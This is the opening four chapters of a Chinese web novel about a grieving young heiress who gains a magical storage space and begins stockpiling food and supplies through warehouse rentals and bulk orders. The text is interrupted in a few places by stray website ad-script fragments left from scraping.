《古代天灾生存日常》 1. 第一章 有的时候,人生真是命运无常。十八岁之前,许岁安一直过得顺风顺水,幸福又快乐,所有苦难都离她很远。 她每天最多的烦恼就是要去哪儿玩?那么多的零花钱该怎么花? 可等到她十八岁那一年,命运却发生了转折。那一年,她的母亲赵妍因为胃癌不幸去世。 母亲走之前,把许岁安叫到病床前仔细嘱托。她让许岁安好好过自己的人生,平时多注意锻炼和体检,保持身体健康,要注意安全,凡事都要多思考,做两手准备…… 那天许岁安的母亲赵妍同许岁安说了很多很多话,她迫切的想要把自己所有的人生经验和担忧嘱托全部倾泻给许岁安。她已经没有多少时间了,但她的孩子人生才刚刚开始,未来还有那么多可能,她生怕她的孩子会遇到什么磨难,而自己却已经离去,到时连句安慰都做不到。 “安安,好好活下去。” 这是赵妍弥留之际最后留给许岁安的话,许岁安记住了。从此她即使放假也不会再昼夜颠倒,每天都规律作息,健康饮食,同时她每天都坚持锻炼一个小时左右,跑步、跳绳、俯卧撑...... 许岁安想,她有在听母亲的话,好好的生活。 可命运有时候就是这样残酷,过了两年,就在许岁安以为一切都在变好时,意外又一次发生了。 “岁安,岁岁平安。” “安安,咱们家的钱只要你不赌、不乱投资,是完全足够你富裕的过完后半生的。” …… “爸爸也没想到会出车祸的,本来爸爸还以为还会有很长的时间看着你长大的,我都和你妈保证过了的。” “爸爸真的坚持不住了,对不起啊,安安,要留你一个人了。” “但就算只有你一个人了,你也要好好活下去,听到了吗?好好活下去……” 说着说着,男人的声音越来越小,但任凭他再怎么努力的想要多看看自己的女儿,他的眼睛还是被无尽的困意打倒,最终陷入了永恒的黑暗。 许岁安脸上的血色全无,她哀切的看着病床上躺着的父亲,泪眼婆娑。 即使已经被医生判了死刑,但许岁安还是怀着微小的希望,不断的向上天祷告着,可是奇迹并没有降临,最后许岁安还是只能无助的眼睁睁看着父亲失去了最后的气息,她的世界顿时天崩地裂,终于再也无法抑制的崩溃大哭起来。 “爸爸,爸爸,不要走啊!”她抽噎着。 “不要留下我一个人啊……” “我已经没有妈妈了,现在连爸爸没有了……”许岁安哀嚎着,她几乎要哭晕在病房里。 不知过了多久,许岁安终于冷静下来了,她麻木的站了起来,心中被愤怒充满,她要请最好的律师,让那个肇事司机付出代价。 许岁安不要赔偿,不肯谅解,加上对方司机又是醉驾加肇事逃逸的情况下,在律师激烈的言辞中,最终对方司机被判处有期徒刑十五年。 对于这个结果,许岁安并没有感到多高兴,再怎么样她的爸爸也回不来了,现在的这个结果只是为了帮她的爸爸在死后讨一个公道罢了。 那位司机的老婆听到这个判决当即全身瘫软,她面容沧桑,头发花白,身体三天两头的感到不舒服,她还有两个孩子要养,司机就是他们家的顶梁柱,现在顶梁柱没有了,他们一家以后还怎么活啊…… 司机老婆顿时感觉眼前一片黑暗,她半爬半跑到许岁安面前,‘砰——’的一声重重跪下。 她边磕头边哭喊,“求求你了,许小姐,求你放过我家那口子吧,我们还有两个孩子要养啊——” “十五年真的太长了,我一个女人拉扯不大两个孩子啊,求求你了,许小姐,您大人有大量,就饶过我家那口子吧……” 许岁安目光呆滞虚无的看着中年女人的动作,反应迟钝的想着,‘啊,原来他也有孩子啊,他也是一个父亲啊,可是,他怎么就把我父亲杀死了呢?’ “我不会原谅他,他罪有应得。”许岁安冷声说道。 说完,她不再看中年女人的动作,转身和律师一起走出了法院。 后面的时间变得快速又漫长,许岁安在律师的帮助下,接收了家里的所有财产,她办了休学,后面三个月一直宅在家里,每天过得丧气又颓废,到时间了,就乖乖去餐厅吃饭。 一直照顾许岁安的保姆张妈看着许岁安如今的情况也是着急又无奈,她当然想让许岁安振作起来,可惜这种事情旁人说了没有用,还是得靠当事人自己才行。 “这是……什么……”许岁安看着眼前造型精美的蛋糕,嗓音沙哑的开口。 “今天是十二月一号,是小姐的生日,所以我就自作主张的为小姐准备了一个蛋糕。”张妈略有忐忑的说道。 “小姐,许个愿吧,一切都会好起来的。” 许岁安看着眼前的蛋糕,恍惚间又想到了从前父母皆在时,他们为她庆生的场景,那时的欢声笑语她仿佛现在都还能听到。 许岁安规规矩矩的插上蜡烛,点了火,张妈见状,急忙将灯关闭。 一片黑暗的房间里,蛋糕上蜡烛那微弱的火光是那么显眼。 许岁安就在的微弱的烛火前,虔诚的闭上眼睛,双手合十,认真的许下心愿: ‘希望爸爸妈妈下一世可以有幸福的人生,如果可以,我还想做他们的孩子。’ 蜡烛被吹灭,房间重新恢复了明亮,许岁安看着张妈,真诚的和她道了谢。 ‘要好好活下去才行,不能再继续颓废下去了。’许岁安想。 “我下周一就去复学。”许岁安看着张妈认真说道。 张妈欣慰的笑了笑,眼中有泪光闪烁,“好,好孩子。” 第二天早上,许岁安吃完饭后就去了寺庙祈福,她已经决定振作起来,如今祈福也是求个心安,希望这些佛祖神仙可以保佑她爸妈在底下过得舒服些。 临走时,许岁安顺手买了一串开了光的佛珠手串,不知为什么,她看着这串手串格外顺眼,于是就没有犹豫的买了下来。 晚上到家时,许岁安照常给父母的牌位上了香,她看着那上面摆着的相框上好像沾了香灰,于是抬手将相框拿起,准备擦擦。 也不知道是哪一步出了错,许岁安不知怎么的,手腕被相框的边界处划开一道口子,伤口不算深,但也破了皮,流下了一点血液。 这血液被佛珠沾染到了,许岁安当即就是脑子一痛,晕倒在地。 许岁安来到了一个极为开阔的空间,一眼望去,许岁安顿时感觉到自己的渺小。 “这是哪里?”许岁安小声疑问道。 许岁安也不敢大声嚷嚷,怕引过来什么怪异的物种,于是她就沿着房间的边际线,一步一步顺着走,她想看看这空间到底有多大。 许岁安走了很久很久,也许是几个小时?也许是半天?或者是一天? 因为没有钟表,没有太阳,只是一个有顶的空旷房间,所以许岁安无法得知自己花去的时间,她也不知道她走了多久,只是她中间有过几次走累了停下来的时候。 值得高兴的是,许岁安花费大量时间,终于走了接近一半的路程,虽然很大,但这空间是有边际的。而且,她走了这么久,还没有遇到其他生物的生物,她试着喊叫,也没有任何回应。 不过,要怎么出去呢?许岁安仍然在不停的行走着,但她的身体却越来越沉重,直到一阵猛烈的困倦向她袭来,许岁安终于抵抗不住,她疲惫的闭上了眼睛,世界陷入一片黑暗。 “小姐?小姐?安安?安安?” 有人在许岁安耳边一直呼唤她的名字,许岁安困倦的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 睁开了眼睛,她的头好痛,好累,她好想继续睡觉啊。 “张妈?”许岁安用气声说道。 张妈将许岁安扶了起来,“小姐,你怎么在地上睡着了?” 许岁安懵懵的揉了揉太阳穴,她也不知道这是为什么,“可能是太困了吧,我还想睡。” 张妈叹气,“再困也不能直接在地上睡啊。” “来,我扶你进屋睡吧。” 许岁安虚着眼睛,点了点头,“嗯,谢谢张妈。我困得很,早饭就先不吃了。” 张妈边扶着许岁安往屋里走,边轻轻摇头,“你先睡着吧,等你起来要是饿了,张妈就给你下个面条吃。” 许岁安躺在床上,可有可无的“嗯”了一声,她又陷入了梦乡,最后听到的是那房门被轻轻关上的声音。 “安安?安安?” 又有人在叫她了,许岁安迷迷糊糊的睁开了眼睛,“怎么了?” 张妈眉头微皱,她一脸担忧的看着许岁安,“还很困吗?已经一点了,要不要先吃完午饭再继续睡?” 许岁安听见一点了就是一个激灵,怎么睡了这么长时间,她昨天也睡得挺早的啊。 她拿起手机看了看,显示一点十五分,真的睡到一点钟了……… “张妈你先出去吧,我洗个脸就出来。”许岁安虚弱的说道。 “好,你要是有哪里不舒服的,咱们就去医院看看。” 张妈说完,就关门离开了。 尽管还是有些困,但现在这种程度许岁安是可以抵抗的,她浑身乏力的下了床,去卫生间洗了把冷水脸,顿时就感觉清醒了不少。 “今天吃什么啊?” 许岁安看着餐桌上的菜肴,自问自答,“土豆烧排骨、红烧茄子、干煸四季豆、当归鸡汤。” “看着就很不错,张妈辛苦了,坐下来我们一起吃吧。” 也许是因为没有吃早饭,现在许岁安饿得很,食欲大开。 张妈想了想,没有拒绝,“好,我们开吃吧。” 土豆烧排骨,排骨被煮的软烂,轻轻一咬,就可以将骨头分离,只留下可口的咸香排骨肉。 红烧茄子甜咸适中,一口下去,多种调味出来的鲜香口感在嘴里迸发,少许的肉末又为茄子增加一种特殊的层次感。 干煸四季豆更是好吃,热油将四季豆表皮炸皱,加上干辣椒、生姜沫、大蒜沫,辅以碎米芽菜快速炒制,吃上去口感脆香,非常下饭。 当归鸡汤更不用说,鸡汤鲜美,带着当归特有的美味口感,喝上去非常清爽,一点儿都不腻,更别提当归鸡汤还有温中养胃、补气养血的功效。这样的鸡汤,许岁安一人都可以喝上两碗。 许岁安平常饭量不算小,但今天不知怎么的,她一直吃了还想吃,桌上的菜几乎都被她吃了个干净。 “还饿吗?要不我再去炒两个菜?”张妈看着许岁安今天吃饭的架势,不禁问道。 “差不多了,张妈吃饱了吗?”许岁安问。 张妈闻言笑了笑,“饱了饱了,我是吃了早饭的,中午也不怎么饿。” “要不要再吃点儿水果?” 许岁安想了想,“那我再吃个苹果和梨吧。” “行,你先坐一会儿,我去给你切过来。”张妈收拾着东西,起身走向厨房。 许岁安没等多久,就拿到了张妈给切的果盘,除了她说的苹果和梨之外,张妈还给她洗了小番茄和青提。 许岁安把果盘吃完了,一个没留,“好像有点撑着了。”许岁安自语道。 张妈看着吃干净的果盘,有点不放心了,“安安,你真的吃饱了吗?要不要我再去做点儿其他吃的?” 许岁安闻言,看着张妈,连连罢手拒绝,“饱了饱了,那个,张妈,我还有点困,先回房休息了啊。” 2. 第二章 回到房间,在只属于自己的安全空间里,许岁安躺在床上,不期然的又想起了之前进入过的那个奇怪房间。 ‘那是什么呢?空间吗?’ ‘小说里不是经常有的嘛,主角得了机遇,获得了一个空间什么的……’ 想到这里,许岁安有些激动的翻身抓起床头柜上的一包抽纸。 “进去!”许岁安傻乎乎的喊道。 “嗯?怎么没有反应啊?我猜错了?”许岁安有点郁闷。 “再试试。” 许岁安在脑海中回想起那个空间,同时在心中默念‘进去’。 原本被许岁安抓在手上的抽纸消失了! 许岁安霎时瞪大眼睛,她小声感叹,“居然是真的……” 好,现在凝神静气,心无杂念,许岁安在脑海中只想着那个空间。 终于,她看见了,空间中的那包抽纸。 许岁安又试着将抽纸取出,她心念一动,抽纸重新出现,坠落在她的床上。 ‘真的是空间!!!’ 许岁安顿时兴奋极了,她半坐起来,兴致勃勃的开始实验,进去,出来,让抽纸在空间里肆意移动,都成功了! 她好像掌握了使用空间的方法,只是好像只能物体进去,人进不去,昨天她进去了,也许是新手福利。 ‘试试能不能保鲜呢?小说里不是经常有嘛,食物进空间里可以保持不变,空间时间恒定不动什么的……’ 许岁安越想越兴奋,她打开门,从冰箱里拿出两根冰棍和一盒冰淇淋,又接了一碗热水,端回房间里,放进空间。 “现在就剩等待了。” 许岁安看着白皙无痕的手腕,轻轻一笑,“我说怎么看着那佛珠那么顺眼呢,还真是机遇啊,连伤口都给我治好了。” 虽然得了一个随身空间是一件让人高兴的事情,但以许岁安多年看小说的经验,一般出现空间后,都会跟着一些坏事情,其中最多的便是末世。 ‘末世?我之后会经历末世吗?’许岁安皱眉想到。 她打开窗帘,看着外面明媚的天气,葱郁的绿植,很难想象现实中会发生什么样的末世场景,希望不要来丧尸。 不过,现在她该行动起来了,就算以后什么也没发生也不影响,反正这些东西放在空间里,她以后还可以用。倒不如说,什么都没发生才是最好的,她白得一机遇。 许岁安年纪不大,还没出社会,本身是不认识什么批发货物熟人的。不过都信息大爆炸的时代了,她想知道什么上网去搜不就行了嘛,看一看平时这些货物在网上卖多少钱,再找一找工厂负责人的电话,拿个优惠价,总之不被宰就行。 “喂,林经理吗?我想订购四百升容量的收纳箱,要一千个,有优惠吗?” 林经理听着电话里穿来的年轻女声,不禁露出笑容,“您好,确定是要一千个吗?” “我们是厂家直发,本来价格就会比较低,平常单卖一个价格一百元,您要的多,就给您打八折吧,一个四百升的收纳箱只要八十元就好了。” “对了,客人您怎么称呼啊?” 许岁安听着价格觉得还可以,她之前上网搜了的这种规格的收纳箱基本上都在一百左右,八十块钱的确是便宜了的。 “我姓许,这样,我看了你们家工厂是专门的塑胶工厂,除了这种塑料收纳箱外,还在生产其他的,我再买些其他的,你都给我算便宜点怎么样?” 林经理闻言,严肃以待,打开了自己随身携带的小本子,“这……” “许小姐,不然您先说说您订购的货品,然后我再和老板沟通一下怎么样?您放心,我绝对让您以最低的价格买下这些货品。” “嗯,我相信你,林经理。那我再要两千个27厘米乘28厘米的封口保鲜袋,以及两百个二百升的收纳箱。” 林经理手下的计算机按的哒哒作响,“许小姐,是这样,我算了你刚刚所要的货品,加起来原价是十二万二,打八折后是九万七千六,这样,我们这边就收您九万五千就好了,物流费我们这边也包了,您看怎么样?” 许岁安笑了笑,“林经理还挺实在,那就这样吧,你们最快什么时候发货?” “您要是想,我们今天就可以发货。” 许岁安当即哽住了,是了,她要的东西对于个人来是多,但对于工厂来说却不算什么,可是她还没有租库房呢。 “呃,先不急发货,等过两天吧,过两天我把地址发给你的时候你再发货吧。” “好的,对了,许小姐,这种大宗货品的话,我们这边需要先收取部分定金呢,您看……” 对于这点,许岁月早有准备,“可以,定金多少?你之后把卡号发给我,我转给你。” “好的,定金为总金额的一半,许小姐只要先支付四万五就可以了。”林经理不慌不忙的说道。 “好,发我短信吧,再见。” “好的,再见,许小姐。” 许岁安看着黑屏的手机,轻轻的叹了一口气,“行吧,先去租个仓库。” 她换好衣服去了地下车库,开着一驾普通的四轮小轿车出了门。 “要大仓库,处在郊区,租金便宜的是吗?”房产中介向许岁安确认道。 “嗯,应该会来往一些货车,我希望仓库最好偏僻点儿,附近不要有什么居民,免得产生纠纷。”许岁安补充道。 “哦哦,可以可以,我记得好像有一个符合你要求的,等我找找啊。”房产中介快速滑动着鼠标。 “你看这个仓库怎么样?” 房产中介向许岁安展示着仓库图片,““这个仓库租金很便宜,三个中型仓库一起出租,加在一起差不多有一千多平了。” “就是有点太偏僻了,周围也没个人,附近就这几间屋子,监控也没覆盖,你要是有什么货物最好雇个人守着。” “当然,你也可以自己安个监控。” “还有,这仓库必须要三个一起租,按年收费,一年租金七千。我也不和你说虚的,你要是真想租,最低价可以给你按六千一年算。” 许岁安看着孤零零立着的三个仓库觉得自己运气还不错,一来就可以租到这么合适的。 不过嘛,都要囤物资了,她手上所有的资产加起来也就两千万左 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 右,只看现金流的话,她手上只有八百来万,还是要省着点花。 “嗯……虽然我还年轻,但是像这种仓库应该也不会有人花六千来租吧,周围什么都不沾,什么都没有,就一个空房间,哪里值得六千了,还至少要租一年。” 房屋中介看着许岁安不太好糊弄的样子,摇头苦笑,“唉,女士,我这也是没办法啊,房东就是这么要求的。” 许岁安看着房屋中介没有说话,也没有离开。 “……行行行,女士,我也和你交个底吧,这房子你要是再想便宜,那就得连租三年,加一起就是九千,你看这样可以接受吗?” 许岁安闻言,大概知道了仓库的底价,“三千五租一年,这种仓库不会有人连租三年的。” 房屋中介面露难色,“这,这有点太低了,五千五怎么样?” 许岁安闻言转头就要走,“你拿我当冤大头呢?” 房屋中介见状,顿时就急了,这仓库砸在手上好久了,错过这次,下回还不知道是什么时候可以租出去了。 “等等,四千块钱,最低了。”房屋中介咬牙说道。 “三千七。”许岁安没有犹豫。 “……好。”房屋中介最后还是咬牙答应了。 “那你现在带我过去看看吧。”许岁安签完合同,随口说道。 房屋中介这下是真的为难了,那地方那么远,他这笔赚的钱还抵不上来回折腾的油费呢。 “我开了车,你给我指路就行,你也知道那仓库偏僻,我不去看看,找不到怎么办?”许岁安不紧不慢地说道,她签了字,可钱还没转呢,她不怕这中介不答应。 “好吧,女士你开了车就行,就是这路程有点远,还希望你能做好心理准备。”房屋中介认真说道。 “嗯,走吧。”许岁安给房屋中介转了钱,往车子那里走去。 仓库确实离市区很远,很偏僻,很荒芜。 房屋中介带着许岁安过去都会时不时地偷偷看她脸色,生怕许岁安会反悔。万幸,许岁安看了仓库后,什么也没说。 等许岁安回到家时,已经接近晚上十点了,她打包了两份饭菜放进空间,又买了一把木质长尺来测量空间高度,测出来差不多有五米高。 许岁安吃了打包的其中一份饭菜,另一份她打算留在空间里,再测试一下,她看了之前放进去的冰棍和热水,好像都没什么变化,明天再继续看看。 现在时间不算早了,许岁安洗完澡吹完头发,收拾好上床时已经接近晚上十一点了,她不打算继续做事了,先睡觉吧。 总归她是不差这点儿时间的,身体健康更重要。其他的什么规划想法,都等明天睡起来之后再考虑吧。 许岁安打算明早起来后,多多查找资料,然后做一个清单,确保自己不会有什么遗漏。她手里的资产应该是足够准备好自己剩下的时间里需要的所有物资的。 “好好活下去!” 许岁安睡前对自己鼓励道,这是她爸爸妈妈临终时对自己的唯一期盼,她必须要做到,总不能让爸爸妈妈失望吧。 许岁安如今有着非常强烈的求生意识。 3. 第三章 第二天一早,许岁安吃完早饭就回到房间,低头思考起来,她一边想,一遍在本子上写写画画。 囤货都要囤些什么呢? 总归是离不开衣、食、住、行这四个字的。 衣就分为春夏秋冬这四个季节来准备,准备的物品都往极端天气上靠,要耐寒耐热、防水防风,准备充足,种类也要多多益善。 线衣、毛衣、卫衣、普通外套、防风外套、马甲、短袖、背心、内衣、袜子、秋衣秋裤、加绒加厚的保暖套装、休闲裤、牛仔裤、打底裤、棉裤、羽绒裤、大衣、羽绒服、棉服、皮草、运动套装、睡衣套装、户外套装…… 这些东西许岁安打算都按自己现在的体型买一圈,然后再买一圈加大两个码子的,她现在体型偏瘦,但未来说不定会胖起来,还是多做点准备为好。 食,许岁安将它分为两类,一类是普通的便于存放的食品,另一类是生鲜食品。 普通食品里,她要准备各种零食(如薯片、饼干、巧克力、糖果等);方便速食(如速冻食品、方便粉丝、方便面、水果罐头、肉罐头、火腿肠、榨菜、各种下饭酱等);乳水茶料(如豆浆、牛奶、酸奶、纯净水、矿泉水、可乐、果汁、各类茶叶、冰淇淋、奶茶、奶粉等);酒(如白酒、果酒、高粱酒、米酒等);干货(如干木耳、干银耳、腊肉腊肠、菌菇、坚果等)。 生鲜食品里要有各种新鲜的水果、蔬菜、肉类、海鲜、蛋类。 除此之外,许岁安还打算到时候买一批一次性餐具,再租个房子,请几个厨师,天天为她做饭,她再收进空间,想吃的时候直接拿就是了,省的自己做。 不过该准备的还是得准备,免得以后露出什么信息来。 这个空间是自己的秘密,如果被其他人知道了,那么自己的处境就危险了。 住,许岁安将它分为日用百货和保健药品,还有移动住所。 日用百货里有清洁用品(如扫把拖把、垃圾桶、垃圾袋、洗衣粉、洗衣液、空气清新剂、干燥剂、海绵擦、毛巾等);餐饮用品(如水杯、水瓶、碗筷碟、勺子、叉子、各类手套、锅铲、擀面杖、砧板、菜刀、剪刀等);床上用品(四件套、被子、帐篷、蚊帐、睡袋、凉席、冰垫等);虫害防治(如杀虫剂、蚊香、粘鼠板、粘蝇板、苍蝇拍、电蚊拍等);保暖用品(如暖宝宝、热水袋、取暖器、铁炉等)。 除了这些,还有个人洗护,包括洗发水、沐浴露、香皂、肥皂、牙刷、牙膏、卫生巾、纸巾等。 保健药品里分为保健品和医药品。 保健品中复合维生素、维生素片、钙片、体温计、氧气瓶、益生菌、蛋白粉等都要买。 医药里感冒发烧药、肠胃药、消化不良药、消炎止痛用药、皮肤用药、风湿关节用药、跌打损伤用药、补益用药、慢性病用药、呼吸系统用药等都得准备,但有的药品可以少准备一些。 移动住所里首先得买一个做好防水防腐处理的装修好的小木屋,然后有折叠床,木床,桌子,小沙发,凳子,床垫等,一个普通卧室里应该具有的东西,都得考虑到。 行包括背包、鞋靴、运动、车品。 背包里,许岁月打算买二十个结实耐用的双肩背包就可以了。 鞋靴里运动鞋、帆布鞋、马丁靴、雪地靴、棉鞋、雨靴、凉鞋、拖鞋都得准备,冬天的鞋子大一码大两码的都得买。 运动分类里可以买一些户外用具、各种棋牌、渔具等。 车品中,许岁安打算买五辆自行车、三轮车和厢式小货车,她不知道接下来会发生什么灾难,但最好不要引人注意,她想尽量让出行低调一点,多余的几辆就当备用。 写好清单,许岁安就开始准备购买了,不过在这之前她打算卖掉部分资产。 她现在拥有的房产,除了现在居住的这栋别墅外,西山苑那里还有两套一梯一户的大平层,月亮湾那里还有一套别墅,除此之外,在林中这个重点高中附近,她还有三套学区房。 许岁安想了想,决定除了现在居住的别墅和西山苑那里的一套高层商品房留下不卖,其余的五处房产她打算都卖掉。 不过现在房价涨得厉害,这些房子应该都升值了不少,说不定卖掉后的资金会比她预期的多呢。 专业的事交给专业的人来做,许岁安联系了林市最大的房地产公司,把这些房子委托给他们售卖,她自己就不操心这些了,等着收钱就好。 和张妈打了招呼,说自己要出门散心后,许岁月坐上飞机,前往夏国有名的鱼米之乡h市,那里是众多粮食水果的原产地,对于其他地区,食物的价格简直便宜太多。 去了h市,许岁安先在h市一个较为偏僻的地方租了几间仓库,用来掩人耳目,随后又找了一家租车公司租了一辆全封闭的厢式货车,这样她就可以随意的将货车里的东西收入空间了。 根据之前打探来的消息,许岁安知道在h市,有两个最有名,占地面积最大的批发市场,一个主卖粮食水果海鲜肉类,另一个主卖日用百货,可惜他们的地理位置一个在东,一个在西。 这对于其他想要逛两个批发市场的人不方便,但对于许岁安可太方便了,她完全可以在这个批发市场买完后,开车去另一个批发市场继续买,路上再找一个地方悄悄把货车里面的东西收进空间,简直不要太合适。 不过采买都是明天的事情了,许岁安一路过来已经用了不少时间了,她租完车的时候,已经接近下午四点钟了。 所以许岁安决定把车开到仓库里停好,然后自己再吃个饭,找个酒店休息休息算了,养好身体,她才有精力去做之后的事情。 虽然家里有钱,但许岁安却并不是那种必须要在高档餐厅吃饭的人,路边的小摊,她看着可以,也一样能吃。 比如现在许岁安就随机进了一家叫张哥饭店的饭馆,她看着这家饭馆生意还挺火爆的,味道应该还不错。 打开菜单,许岁安看了看价格,和林市的差不多,有的菜可能会便宜几块钱,但这点钱也算是相差不大。 许岁安本来的饭量还算比较大,特别是有了空间之后,她的饭量又增多了,在此情况下,许岁安非常自信的点了两菜一汤,她觉得自己可以吃完。 点完菜,服务员看着许岁安一个小姑娘,有点犹豫的劝了劝。 “姑娘,你是一个人吗?一个人的话这菜有点多了。” 许岁安非常自信:“我饭量很大,吃的完。” 服务员看着许岁 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 安欲言又止,最后还是默不作声的离开了。 “你稍等,菜马上好。” 饭馆的上菜速度的确很快,可是等菜上来的时候,许岁安傻眼了,这和她预想的不一样! 虽然是同样的菜名,同样的价格,但这菜量翻倍了吧,怎么会这么多,许岁安一眼看去,甚至觉得菜量可能不止翻倍,是三倍那么多。 她拿筷子探了探菜碟子的底儿,无奈又欣慰的叹了一口气,好吧,还真是三倍。 菜量这么太,味道会不会不行啊?许岁安有点担心,她试探的吃了几口。 “好吃!” 本来跑了一天就又累又饿,许岁安见此,也不再犹豫,快速的吃了起来。 等她吃完,桌子上的几样菜都还剩下一半左右。 “我尽力了。”许岁安摸了摸自己吃撑的肚皮,她满足的在座位上休息了一会儿。 “可真经吃啊……”许岁安感叹,她看着桌子上的剩菜,忽然改变了主意,她完全可以在这里多买些做好的家常菜啊,请来的厨师可以去做那些更耗时,更奇特的菜肴。 “服务员,结账。”许岁安大声喊道。 服务员拿着小票,“你一共消费了八十二,给八十就好。” 许岁安点了点头,“哦,好,我手机支付。” “这里扫码。”服务员没有犹豫,现在手机支付的人还挺多的,她已经习惯了。 扫完码,许岁安看着服务员,“对了,我想定连续订两周的餐食,找谁说啊?” “可以先说说订餐的量吗?我去问问老板。” “我那里大概有三十个人吃饭,所以我打算每天中午定二十五道菜,五个汤。” 服务员闻言点了点头,“好的,我去把老板叫过来。” 没过多久,老板匆匆赶来。 “你好,我听小小说了,姑娘,你是要连续两周定三十道菜吗?”中年男人确认道。 “是的,每天都是二十五道菜,荤素搭配,五个汤也换着来。老板你就按照菜单轮着做就行,这样我先给你一万定金,之后我会看着时间过来取货,大概就是十一点半左右。” 饭馆老板听到对方要先付定金顿时感觉安心不少。 “好的,姑娘你放心,我们一定会按时把菜给你打包好的。” “对了,你那边是三十个人吃饭是吧,你看我们打包四十盒盒饭够吗?”老板询问道。 许岁安闻言有点迟疑了,“这饭收费吗?” 老板听着许岁安这疑问就是一阵大笑,“哈哈哈,姑娘,你不是本地人吧,我们这儿的米饭都是免费吃的,没有哪家饭馆会收钱的。” “哦哦哦,我刚知道。”许岁安有点尴尬。 “好吧,老板,那就这么说定了,没其他事我就先走了。” “行,姑娘再见啊,欢迎下回继续来啊。”饭馆老板热情的欢送道。 虽然当时有点尴尬,但许岁安很快就缓过来了。不错啊,许岁安想,那米饭吃着口感也可以,这样一来她不就又省了一笔,想想都开心。 有了这家饭馆的例子,许岁安决定再去多找几家饭馆订餐,这样效率更快。 哈哈,她可真是个平平无奇的省钱小天才。 4. 第四章 在饭馆订餐的过程中,许岁安偶然瞟了一眼周边的商店,这一看,她就发现h市的面食也挺便宜的,可以多买一些。 许岁安要的量大,面食老板给她算的价格也比平常低一些,馒头花卷两块钱五个,带馅的饼,素的两块钱一个,肉的两块五一个,素包子八毛一个,肉包子一块三一个,小笼包一笼八个,一笼小笼包五块钱,油条一块五两根。 除此之外,二两面六元一碗,浇头自选,豆浆一块钱一碗,粥类两块钱一碗,卤水豆腐脑两块五一碗,水煮蛋一块钱一个,茶叶蛋一块五一个,一小碟凉菜一块五一盘。 许岁安吃了一些这家面食店的早餐,觉得味道还可以,看着也干净,于是除了豆浆、粥、茶叶蛋、水煮蛋外,她让老板每样给她来三千块的,接下来两周她每天都会过来取。这样一来,仅在这一家面食店,她就花了好几万。 老板看着许岁安为人爽快,给钱也不磨蹭,就做主再免费送她价值五百块的馒头,一箱800g*10袋的榨菜,一箱10斤重的萝卜干。 这样一来,双方都觉得很高兴,许岁安更是觉得自己赚到了,这也提醒了她,该多囤一些下饭菜。 饺子作为h市的一种重要的主食,许岁安自然没有忘了囤,这里卖饺子是论斤算的,素饺子八块一斤,肉饺子十二一斤。 借着给工人买饭的理由,许岁安跑了本地较为出名的两家店,把店里的各种馅料的饺子各要了100斤,这样子两家加起来就是每种馅料的饺子有200斤,完全足够陈岁安吃一辈子了。 韭菜鸡蛋馅、西葫芦鸡蛋馅、黄瓜鸡蛋馅、猪肉馅、羊肉馅、牛肉馅、猪肉香菇馅、猪肉大葱馅、猪肉白菜馅、、猪肉芹菜馅、三鲜虾仁馅、胡萝卜馅、胡萝卜牛肉馅、大葱牛肉馅、猪肉酸菜馅、酸菜粉丝馅、羊肉胡萝卜馅、豆腐胡萝卜虾米馅、牛肉洋葱馅、豆沙馅、鳕鱼馅、菌菇馅…… 粗看下来,饺子的馅料都有好几十种,许岁安就是一个月每天换不同口味吃也吃不全。 因为许岁安要的量大,店家给许岁安打了九折,加上许岁安没让店家煮饺子,只需把包好的饺子一箱一箱抱起来,省了店家不少包装费,所以这饺子店家都附送了许岁安一些东西。 其中一家是送了陈岁安十罐一斤装的自己家炼制的辣椒油加两大袋一次性大碗和一大袋一次性筷子。 另一家则更为细致,除了送了三大袋一次性餐具外,还专门调了一盆调料,再用塑料袋一小包一小包的包好调料,就这么装了一箱,里面差不多有三百个小包调料。 除此之外,店家还专门混装了一箱常见调料,方便到时候工人自己调,可以说是非常贴心了,许岁安对此非常满意。 当然,饺子都是人工包的,自然不可能一下子就给许岁安拿出来,她还是定了两周时间,每天过来取,直到取完为止。 h市的煎饼果子和烤冷面也有着自己的门店,许岁安找了三家,每家定了六十份。 奶茶许岁安也挺喜欢喝的,现在出名的奶茶店基本上都是全国连锁的,口感都差不多。所以许岁安就直接在h市的几家奶茶店定了大量的奶茶,她把每家奶茶店单子上的饮品全都买了一遍。 “单子上的奶茶冷热我都要,每种各五十杯。”陈岁安穿着厚实的黑色羽绒服,指了指面前的饮品单。 店员闻言睁大了眼睛,“全、全部吗?” “嗯,今天可以都做出来吗?”因为天气寒冷,许岁安说话时甚至会冒出一股白气。 奶茶店员看着饮品单,为难的摇了摇头,“抱歉女士,店里的人员和材料有限,所以,您要的这些东西,恐怕最快也要三天才可以全部做完。” 对于这一点,许岁安也有心理准备,“可以,你们店的营业时间是多少,我差不多过来两三个小时过来取一趟。” “从早上九点到晚上九点。” “行,那你们现在就开始做吧,我等会儿过来取。”许岁安给奶茶店先转了一半的钱。 因为订饭的这些事情,许岁安去批发市场的行程就暂缓了,她每天开着车顺着这些店转圈就已经把时间排的满满当当的了。 不过,定了这么多东西,要是全堆在地上也太不好看了,而且还占地方,她还有那么多东西要买,可不能这么浪费空间。 想到这里,许岁安也没犹豫,她之前和各个饭馆老板都打听了一下,知道了几个做货架批发老板的电话。 许岁安一一和这些做货架的老板聊了聊,最后敲定了一家。 鑫星仓储设备制造有限公司是h市的老牌厂家,质量有保证,价格也公道。 许岁安订购的是200cm*60cm*450cm十层的仓储货架,货架每层可承重100kg到200kg,一套主架加四套副架为一组,一组价格是3000元。 许岁安想了想,要一千组,算下来是三百万,有点贵啊,她本来也没多少钱,而且这么多货架说不定都用不完呢。 还是买少点好了,200cm*5长度是10米,买个200组就是两千米,一起摆在空间一侧可以放很多东西了。 六十万…… 有点肉痛,仅仅只是买个货架都要花这么多钱啊。 “张经理,我打算买200组,你给我打个折,五十万怎么样?”许岁安想,不管怎样,讲价还是要讲的。 电话那头的经理犹豫了,“许小姐,请问你收货的地点在哪里呢?现在的运费也不便宜啊。” 闻言,许岁安笑了,“收货地点就在你们本地。对了,我希望收到的货架是组装好的。” “这……”经理有些不愿意了,虽然这样运费是省了不少,但人工费用涨了啊。 许岁安也想到了这一点,“那要不这样吧,经理,我也不要求你再给我少十万了。” 